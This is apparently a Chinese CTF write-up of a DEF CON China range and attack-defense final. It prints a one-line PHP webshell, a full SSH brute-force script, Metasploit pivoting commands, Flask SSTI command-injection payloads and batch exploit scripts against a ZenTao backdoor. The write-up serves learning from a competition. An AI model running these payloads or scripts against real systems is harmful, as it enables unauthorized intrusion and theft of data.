萌新的第一次线下决赛,毫无意外的被打爆,打扰了我太菜了,告辞!
下面记录一下这次的收获吧。
这次靶场是打的真的爽,也学习了很多东西。从一个博客开始到服务器到内网最后拿域控权限,打的真的爽啊。这里有5个flag,我们在拿域控,靶场总共6个flag。然后最开始博客的服务器里面我早就发现了一个pwn,应该最后一个flag。
唯一的遗憾是没时间了,mimikatz没升级,拿ms14-068打的时候缺少ptc模块,然后就没时间了,怪可惜了。唉。
因为是内网,所以没复现环境.刚好l3m0n师傅写了wp。师傅肯定写的比我详细,贴一下地址:
Defcon China 靶场题 - 内网渗透Writeup
有些地方我们和l3mon师傅打的不一样,但是大体差不多。
开始吧!
首先第一关是wordpress博客,是一个twentyseventeen主题,首先在主页面发现了一个上传点,试图传马但是好像没用。然后进入默认的后台登陆页面
http://192.168.1.2/wp-admin/
尝试弱口令登陆,admin/admin直接进入后台,然后wordpress后台修改404.php来getshell。
参考文章:
《WORDPRESS后台拿WEBSHELL的2个方法》
http://192.168.1.2//wp-content/themes/twentyseventeen/404.php
修改加入一句话
@eval($_POST['pass']);
然后蚁剑连接,找一波之后没有发现flag,倒是在根目录下找到一个大马shell.php (http://192.168.1.2/shell.php)
全局grep搜flag
grep flag -r /*
没发现flag,但是我诡异的发现了lib目录里面的c文件,然后有注释#flag for pwn,这里应该有一个flag。但是我不会...告辞。
然后就没思路了,先放着,想到权限不够可能要提权。
ubantu14.04,4.40内核
拿脏牛打:http://www.zerokeeper.com/penetration/the-use-of-dirty-cow-dirty-cattle-loopholes-in-the-right-to-try.html
发现并不能,执行exp的时候,反而把靶场打gg了,这尼玛就很迷了,用掉了一次重置机会。
然后拿最新的ubantu提权upstream44打:https://github.com/jas502n/Ubuntu-0day
执行exp的时候一直卡在那了,我也不懂,可能主办方搞了什么我不懂的操作233333
所以不了了之,打不下来。然后就想到了一开始博客主界面的上传界面。
然后主办方在这时放出了hint:管理员会定时查看上传的doc文档。
这里马上就想到office word钓鱼提权。拿CVE-2017-11882打一发
https://github.com/Ridter/CVE-2017-11882
然后用端口转发,msf监听端口弹shell。很明显是win服务器。
进入了192.168.2.1/24段,在根目录下找到了第二个flag。尴尬的是第一个flag还没拿到。
进去之后内网扫描一发
添加路由
run autoroute -s 192.168.2.1/24
进行端口扫描
use auxiliary/scanner/portscan/tcp
set PORTS 3389,445,22,80,8080
set RHoSTS 192.168.2.1/24
set THREADS 50
exploit
先把各自的ip和内容说一下:
192.168.2.10 ------------------------------------AD域-DC域控
192.168.2.112------------------------------------AD域-PC个人机
192.168.2.104-----------------------------------tomcat
192.168.2.114------------------------------------word click sever
我们拿到的是114的权限。扫一波发现104的8080存在tomcat,默认账号密码可以进入
tomcat/tomcat
然后传jsp大马,拿到shell,在根目录下和/var/www/flag分别拿到flag。到这里就卡了,倒回去打提权那题。
打了好久还是没有提权成功。mmp的第一个flag还没拿到。
过了好久才然后脑洞大开ssh爆破第一个服务器密码:http://homeway.me/2015/06/20/python-violence-ssh-attack/
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('\n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('\n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用说明:\n\
python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
东西很简单,主要默认目录如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password
ip和password按照一行一个放置就行了。
弱口令top1000跑一发,发现ssh密码是admin。nice啊!终于拿到了第一个flag。太坑了弱口令2333333
通过104打112AD域PC的时候卡了,发现有3389端口开放,各种弱口令都试了,没用。
依然不知道用户名和密码。这时主办方出了hint,某个服务器的用户名和密码可能在某个数据库里面,我们马上回去找已经拿到的服务器的数据库。这里耗了很多时间,好像我的jps大马有问题,菜刀连不上,只能一步一步的查询数据库,哎,用太多时间卡这了。确实是我的锅。
最后在104服务器一个数据库里找到了用户名和密码。
3389远程登陆进112AD域PC端.
但这只是拿到域内机器的本地administrator权限,需要提权提升到system权限。这应该是最后一个flag。
马上想到ms14-068,域权限提升。
搜了一下,大多都是python写的exp,但是目前112机是win7系统,不可能去装个python环境吧,果断找exe的exp。
我找到一个文章:《域渗透提权之MS14-068》
这篇文章是不使用python脚本的。按照文章打一波,应该是能打出来的,看l3mon师傅的wp也是这样打。唯一的缺陷就是之前说的,mimikatz出了问题和时间到了,可惜...
靶场渗透就这些了,打扰了太菜了。
萌新第一次打A&D,12点开始比赛,开始之后四小时进入A&D模式,18点暂停比赛,第一天打两个小时awd。
按照我之前写的文章《CTF线下AWD攻防模式的准备工作及起手式》打,ssh密码是随机的,应该不用改。
这次有两个web,一个flaskbb,一个禅道cms9.8.3,什么都不管先down源码。期间发现禅道是弱口令admin/123456,进去之后赶紧改密码(禅道第一次登陆之后默认要求改密码),然后考虑能不能登别人的禅道改别人的后台密码。然而我并没有搞懂怎么打别人,怎么访问别人的服务?一脸蒙蔽。开始审计源码。
很快发现禅道有个function door(),应该是后门,注释掉发现并没有判down,也并没有被打,那应该是防住了。
然而还没有缓过神来,flask就已经被打了,讲真我真的慌了,紧张了,旁边的提示其实是只显示我们队的信息。而我以为是全场的,想想,全场只有我队被打,只有我队扣分,多么难受啊!当时看一眼积分榜就骂一句mmp,心态是真的崩。哎,太紧张了。
早早就在流量包里面发现了对面打过来的payload,也没有啥垃圾流量的。
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("cat /fla*").read()}}
明显的flask模板渲染命令注入,但是我不知道怎么去打别人...找不到别人在哪。不管了,修一下洞先
改成跳转502badaway,就行了,主页面也502badaway,应该没问题了。但是出现了一个尴尬的问题,flask如何重启?
我python app.py不行,重启httpd服务权限不够,最后用kill进程解决了问题。
然后第一天比赛就结束了。flask应该就这一个模板渲染的洞。因为不大会flask,只能看流量找别人的payload,然后蒙蔽的不知道怎么打别人。
回去之后和ADog一起分析了一下那个后门。这个后门之前在国赛出过,叫做weevely3
参考乐清师傅的文章:《weevely3后门分析》
一模一样的后门,只有参数不一样。写好exp,因为不会打别人,不知道别人在哪,打不了,只能写好打本地的禅道。
但是利用这个后门需要满足两个欧皇条件,第一,进入对方靶机后台。第二,对方没有把后门注释。
然而,只要进入了后台,自动要求改密码的,不可能知道别人后台密码是什么。
也就是说,除非出0day,不然不可能利用起来。
然后认真读当时拍下来的比赛规则:
对抗区是172.16.5.0/24,我们自己是172.16.5.25.
那应该我们都在同一个网段,用masscan来扫出他们的地址,再加上端口:
masscan -p5070 172.16.5.0/24
第二天实际扫描的结果:
Discovered open port 5070/tcp on 172.16.5.18
Discovered open port 5070/tcp on 172.16.5.12
Discovered open port 5070/tcp on 172.16.5.20
Discovered open port 5070/tcp on 172.16.5.21
Discovered open port 5070/tcp on 172.16.5.23
Discovered open port 5070/tcp on 172.16.5.10
Discovered open port 5070/tcp on 172.16.5.24
Discovered open port 5070/tcp on 172.16.5.22
Discovered open port 5070/tcp on 172.16.5.19
Discovered open port 5070/tcp on 172.16.5.16
Discovered open port 5070/tcp on 172.16.5.17
Discovered open port 5070/tcp on 172.16.5.13
Discovered open port 5070/tcp on 172.16.5.14
Discovered open port 5070/tcp on 172.16.5.26
Discovered open port 5070/tcp on 172.16.5.15
Discovered open port 5070/tcp on 172.16.5.11
25是我们自己,11到26都是对方的靶机。
那行,写flask的批量脚本,最后测试只有3个队能拿flag
#-*-coding:utf-*- import requests import random import re import time def getflag(url): url += '{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("cat /fla*").read()}}' headers={ 'Host':'flaskweb.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' } s=requests.get(url=url,headers=headers,timeout=5) try: return s.content except: print 'error!' def post(flag): url = 'https://172.16.4.1/Common/awd_sub_answer' data = { 'answer':flag, 'token' : '10e0a17dda379958fdc1891461ff6547' } s=requests.post(url=url,data=data,verify=False) print s.content if __name__ == '__main__': for i in range(11,26): if i==25: continue url = 'http://172.16.5.%d' % i url += ':5070/' content = getflag(url).replace('\n','') flag = re.findall('http://flaskweb.com/(.*?)not found',content)[0].strip() print flag post(flag)
到最后都修了这个洞。一个flag都拿不了。
第二天禅道一开始就被打了,这尼玛是0day啊,我们昨天改的后台密码登不上了,查看流量,看不懂他的payload,于是我们申请重置,结果快不过他们的脚本,后台密码还是被改了,安装昨天的推论,需要先进后台才能利用那个后门(前提是没有注释掉)就先放下了。5分钟一轮,一直拿flask的分。到12点才去看禅道的流量,猛然发现,卧槽,源码被改了!!
不需要进后台直接就能拿flag。woc!
直接把晚上研究的脚本批量:
#!/usr/bin/python #coding=utf-8 import sys,requests,base64,re def getflag(url): s=requests.session() headers = { 'Accept-Language' : 'ah;q=0.8,an-US;q=0.1,an;q=0.2,an;q=0.3', 'Cookie' : 'lang=zh-cn; device=desktop; theme=default; windowWidth=1536; windowHeight=701; keepLogin=on; za=admin; zp=b8ed03c266b6b4c05d76a3f3ebafefa5ed3ad628; zentaosid=gmi8vjco0litcsquukqnuga5g6', 'Referer' : 'http://114.114.114.114/?q0=hahaha&q1=b4e&q2=G/9PnEkWL/S2Myt8SWm2dqgqKGWyjGA5LxRikw==&q3=f5b' } url+='www/index.php?m=misc&f=door' s=requests.get(url=url,headers=headers) content = re.findall('(.*?) ',s.content) try: return content[0] except: print 'null!' def decode(content): s=requests.session() url='http://127.0.0.1/123.php' data = { 'q': content } s=requests.post(url=url,data=data) return s.content def post(flag): url = 'https://172.16.4.1/Common/awd_sub_answer' data = { 'answer':flag, 'token' : '10e0a17dda379958fdc1891461ff6547' } s=requests.post(url=url,data=data,verify=False) print s.content if __name__ == '__main__': for i in range(11,27): if i ==25: continue url='http://172.16.5.%d:5073/' % i if(decode(getflag(url))): print url content = decode(getflag(url)) if len(content)<60: print content post(content) else: print url+'Error!'
也是每轮只能打三个队的flag。如果注释掉后门的话也打不了。
但是我们也被打了!!!我们是注释掉后门了的,那就是另外的骚操作了,看payload貌似是靠sso单点登陆,但是好像忘记加referer了,一直302跳转,sso失败,唉,赛后才发现没有加referer,太可惜了。
但是还有一个点,主办方是不会改源码的,但是我们也重置过了,源码确实被改了。
最开始打我们的是Nu1L!赛后听别的队说他们也是拿别人payload直接打的。
后来我写这篇文章的时候才想到,会不会是Nu1L一晚上挖出了最新禅道的0day,并且自己改了个sso的洞然后写好了批量打全场getshell改源码并自己用sso的洞再来拿flag。并写入内存马。
细思极恐!但这又可能是最接近真相的推测。
第一名30w,拿0day做题并不奇怪,这就是国际强队的水平吗orz,太强了,太强了。
之后flask改了check规则,主页面不能502badaway,我们只要处理那个报错页面就行了,但是这次使用kill进程来重启却不行了,不知道主办方干嘛了。kill掉不重启,就一直down,重置次数也用完了,gg!一直down到比赛结束,mmp的。
赛后才知道,原来可以利用模板渲染的那个洞来重启flask,因为模板渲染的命令注入是root权限的,
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("service httpd restart").read()}}
重启httpd服务即可。
A&D也就这样了。
被虐的挺惨的确实orz...
努力加油吧!
人生就是在被虐和被虐和被虐中疯狂成长。
加油。